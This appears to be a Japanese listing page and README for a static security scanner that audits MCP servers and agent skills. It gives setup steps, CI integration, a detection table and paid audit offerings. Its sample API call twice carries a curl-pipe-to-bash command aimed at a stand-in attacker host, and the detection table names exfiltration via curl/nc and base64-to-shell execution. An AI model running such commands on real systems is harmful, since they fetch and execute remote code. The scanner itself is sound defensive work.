skill-audit-mcp について
skill-audit-mcpは、MCP サーバー、エージェントスキル、プラグイン向けの静的セキュリティスキャナーです。コードや指示ファイルの攻撃パターンを検出し、GitHub Code Scanning向けにSARIFを出力できます。
主な機能
- 0117種類の攻撃パターンを検出
- 024段階の重大度に分類
- 03コードとエージェント指示ファイルをスキャン
- 04JSONとSARIFを出力
- 05CLI、GitHub Action、MCP サーバーとして利用可能
活用シーン
- 01CIでプルリクエストをスキャン
- 02MCP サーバーやスキルのディレクトリを検査
- 03検出結果をGitHub Code Scanningに送信
MCP 対応
MCP サーバーとしてセキュリティスキャンのツールを公開し、MCP クライアントから監査対象の内容を受け取ります。
設定
リモートサーバーはインストール不要です。クライアントを選んで設定をコピーするか、ワンクリックで導入できます。
https://eltociear-skill-audit.hf.space/mcpclaude mcp add --transport http eltociear-skill-audit https://eltociear-skill-audit.hf.space/mcp{"mcpServers":{"eltociear-skill-audit":{"type":"http","url":"https://eltociear-skill-audit.hf.space/mcp"}}}Cursor で開く{"servers":{"eltociear-skill-audit":{"type":"http","url":"https://eltociear-skill-audit.hf.space/mcp"}}}VS Code で開く{"mcpServers":{"eltociear-skill-audit":{"type":"http","url":"https://eltociear-skill-audit.hf.space/mcp"}}}{"mcpServers":{"eltociear-skill-audit":{"serverUrl":"https://eltociear-skill-audit.hf.space/mcp"}}}コマンドはターミナルで実行し、JSON は各クライアントの MCP 設定に貼り付けて再起動します。認可が必要なサーバーは初回接続時にログインを求めます。
ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0stdioツール
11このツールにパラメーターはありません。
詳細
skill-audit-mcp
MCP サーバー、AI エージェントのスキル、プラグイン向けの静的セキュリティスキャナーです。 4 つの重大度レベルにわたる 17 の攻撃パターン(65 の正規表現シグネチャ)を検出します。SARIF 出力 → GitHub Code Scanning に対応しています。CLI、GitHub Action、マルチアーキテクチャ対応 Docker イメージ、MCP サーバー、ホスト型 x402 API として提供されています。
⚡ 30 秒で試す
# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work
# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Option C: GitHub Action (CI/CD) — see below
📡 掲載先
AI/セキュリティエンジニアが実際に読む、ツール発見用の各種チャネルで紹介されています。
- punkpeye/awesome-mcp-servers (86K★) — セキュリティのセクション
- cline/mcp-marketplace (61K★) — 審査済みのワンクリックインストール(レビュー待ち)
- ComposioHQ/awesome-claude-skills (59K★) — セキュリティとシステム
- aaif-goose/goose (45K★) — 拡張機能のチュートリアルドキュメント
- sdras/awesome-actions (28K★) — セキュリティ
- veggiemonk/awesome-docker (36K★) — セキュリティ
- VoltAgent/awesome-claude-code-subagents (20K★) — 品質とセキュリティのサブエージェント
- travisvn/awesome-claude-skills (12K★)
- BehiSecc/awesome-claude-skills (9K★)
- yzfly/Awesome-MCP-ZH (7K★) — 🔒 セキュリティと分析
- tensorchord/Awesome-LLMOps (6K★) — LLM セキュリティ向けフレームワーク
- devsecops/awesome-devsecops (5K★) — テスト
- mahseema/awesome-ai-tools (5K★) — 開発者向けツール
4 つの使い方:
1. GitHub Action(CI/CD)
ワークフローに追加して、PR を自動的にスキャンします。
name: MCP Security Audit
on: [pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: eltociear/skill-audit-mcp@v1
with:
path: '.'
fail-on: 'HIGH'
SARIF をアップロードする場合(検出結果が GitHub Security タブに表示されます):
- uses: eltociear/skill-audit-mcp@v1
with:
path: '.'
sarif: 'results.sarif'
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: 'results.sarif'
2. CLI
標準ライブラリのみで動作する Python 3.8 以降に対応しており、インストールは不要です。(まだ npm では公開されていません。この README の以前のバージョンには npx @eltociear/skill-audit-mcp と記載されていましたが、これは解決できませんでした。)
git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp
cd skill-audit-mcp
python3 cli.py --path ./server.py # scan a file
python3 cli.py --path ./some-skill/ # scan a directory
python3 cli.py --path . --json # JSON output
python3 cli.py --path . --sarif results.sarif # SARIF output
python3 cli.py --path . --fail-on HIGH # exit 1 on HIGH or CRITICAL
検出結果には、それぞれのファイルが属する場所のラベルが付けられます。終了コードを決めるのは production です。documentation と test の検出結果は報告されますが、--include-nonproduction を渡さない限りスキャンは失敗しません。エージェントが指示として読み込むファイル(SKILL.md、AGENTS.md、CLAUDE.md、.cursorrules、.claude/commands|agents|skills/ 配下または .cursor/rules/ 配下のすべてのファイル)は production として扱われます。スキルにとってこれらは、その説明メモではなくプログラムそのものだからです。
3. MCP サーバー(Claude Desktop / Cursor)
MCP 設定に追加します。
{
"skill-audit-mcp": {
"type": "stdio",
"command": "python3",
"args": ["path/to/scanner.py"]
}
}
続けて Claude に「この MCP サーバーのセキュリティ上の問題を監査してください」と尋ねます。
検出内容
| 重要度 | パターン |
|---|---|
| CRITICAL | ダウンロードして実行(base64 -d | sh を含む)、認証情報の外部流出(curl/nc にシークレットファイルを渡す行為を含む)、鍵の生成、機密ディレクトリへの書き込み、シードフレーズの収集 |
| HIGH | 動的入力による任意コード実行、認証のバイパス、なりすまし、プロンプトインジェクション |
| MEDIUM | 権限昇格(全ユーザー書き込み可能なモード、昇格したアクセス権の要求)、難読化 |
| INFO | 外部ダウンロード、スキルのインストール、不明な API 呼び出し、データ収集、外部 URL、広範なファイルシステムアクセス — 状況情報として報告し、スコアには含めません |
リスクスコア
レベルは、該当する検出項目のうち最も重大度の高いものです。認証情報の外部流出が1件でもあれば、ほかの部分に問題がなくても CRITICAL になります。0〜100 のスコアは規模のみを示します。コメント行、パターンリテラル、Markdown テーブル内の検出項目も報告されますが、害を及ぼすのに実行が必要な場合は、重要度を下げて扱います。
関連プロジェクト — secrets-audit-mcp
(ここで扱う動作パターンではなく)漏えいした認証情報と API キーについては、 secrets-audit-mcpを ご覧ください。32 のプロバイダールール(AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / 秘密鍵)を備えています。同じく依存関係ゼロ、 単一ファイルの stdio MCP サーバーという設計です。
| レイヤー | サーバー | 検出内容 |
|---|---|---|
| 動作 | skill-audit-mcp(本プロジェクト) | curl-pipe-sh、プロンプトインジェクション、外部流出(17 パターン) |
| シークレット | secrets-audit-mcp | 漏えいしたキー/トークン/PEM(32 ルール) |
完全に網羅するには両方を実行してください。
4. Docker(オフライン、マルチアーキテクチャ)
インストール不要のスキャナーイメージ:ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64。
# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
--path /work --min-severity MEDIUM --fail-on HIGH
# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
--path /work --sarif-output /work/audit.sarif
5. ホステッド API(x402 スキャンごとの従量課金)
登録不要、アカウント不要です。Base 上の x402 マイクロペイメントで、スキャンごとに $0.01 USDC を支払います。エンドポイントは支払い要求とともに 402 を返し、エージェントのウォレットで決済するとスキャンが実行されます。同じパスへの GET は、支払いなしで料金を返します。
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
-H "Content-Type: application/json" \
-d '{"url": "https://github.com/some-org/some-mcp-server"}'
最初の呼び出しでは、支払い要件を示す HTTP 402 が返されます(x402 v2 プロトコル)。@bankr/cliで決済してから、再試行してください。
6. pre-commit フック
.pre-commit-config.yaml に追加します。
repos:
- repo: https://github.com/eltociear/skill-audit-mcp
rev: v1.2.0
hooks:
- id: skill-audit-mcp
監査をご依頼ください
自動スキャナーでは対応できない、より踏み込んだレビューが必要ですか? MCP/AI エージェントのセキュリティ監査を、以下の3段階でフリーランスとしてお受けしています。
| 段階 | 料金 | 成果物 |
|---|---|---|
| スポットスキャン | $500 | リポジトリ全体のスキャン + 優先度を付けた修正案付きの1ページのリスクレポート |
| スタンダード | $2,000 | 手動レビュー + HIGH/CRITICAL の検出項目に対する PoC + 修正 PR |
| エンゲージメント | $5,000+ | ペネトレーションテスト、脅威モデル、修正後の再テスト、30日間の Slack サポート |
実績:公開 MCP サーバー196件のエントリーファイルをスキャンし、194件は問題なし、2件でレビューが必要な検出項目が見つかりました。誤検知率は初回の14.8%から1.0%に低下しました。リポジトリ全体をスキャンすると、さらに多くの項目が検出されます(2026-09-29にサンプリングしたレジストリサーバー109件の18%)。その大半は、ドキュメントに記載されたインストーラーや、人間による確認が望ましいツールコードです(手法と結果) (bytebase/dbhub、mysql_mcp_server、applescript-mcp、 docker-mcp 向けのレポートを作成)。
メール:[email protected](件名:「MCP audit」)
または、単発の**MCP セキュリティ監査レポート($5)**をこちらから直接ご購入いただけます:polar.sh/eltociear。
スポンサー
skill-audit-mcp が役に立った場合、または新しい検出ルールの提供を支援したい場合は、スポンサーを歓迎します。
セキュリティ
skill-audit-mcp 自体に脆弱性を発見しましたか?非公開のセキュリティアドバイザリから報告してください。対応スケジュールについては、SECURITY.mdをご覧ください。
skill-audit-mcp を使用するサードパーティ製 MCP サーバーに脆弱性を発見しましたか?そのプロジェクトのセキュリティポリシー、または huntr.com から報告してください。
Star の履歴
ライセンス
MIT
無料の MCP と有料の x402
この MCP サーバーは無料です。サーバーサイド、バッチ処理、インストール不要での利用には、同じスキャナーを従量課金制の x402 HTTP API として利用できます。POST https://eltociear-skill-audit.hf.space/audit(Base で $0.01 USDC)と /audit/url($0.03)を利用してください。公式 MCP Registry では io.github.eltociear/skill-audit-mcp として登録されています。
Apify Store(Repo Security Scanner)でもホストされています。インストール不要で、GitHub の組織全体またはリポジトリの一覧をスキャンでき、リポジトリごとに支払います。
プロフェッショナル監査サービス
同じ作者がメンテナンスしており、Polar の有料サービス(Stripe 決済)を提供しています。
- MCP セキュリティ監査レポート — $5 — MCP サーバーの単発監査です。17 種類の攻撃パターンを確認し、具体的な修正方法を記載した、深刻度評価付きの PDF レポートを提供します。
- Security Pulse — $5/月(年額 $50)— 新たに公開された MCP サーバーの脆弱性に関する月次ブリーフィング、追跡対象の 100 以上のリポジトリのスキャン統計、緩和策のプレイブックを提供します。
- Pro Audit Stack — $20/月 — CI/CD で MCP サーバーを運用するチーム向けです。月 50 回のホスト型スキャン、Discord へのアクセス、脆弱性に関する質問への 24 時間 SLA が含まれます。
全サービス一覧:polar.sh/eltociear
こちらも公開中:clean-read(1 回あたり $0.005)
同じ運営者、同じ x402 の仕組みです。clean-read は任意の URL を AI エージェント向けのクリーンな Markdown に変換します。ページを取得し、ナビゲーション、広告、定型部分(trafilatura)を取り除いて、タイトルと単語数を含む本文を返します。POST https://eltociear-skill-audit.hf.space/read — Base で $0.005 USDC、登録不要です。
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。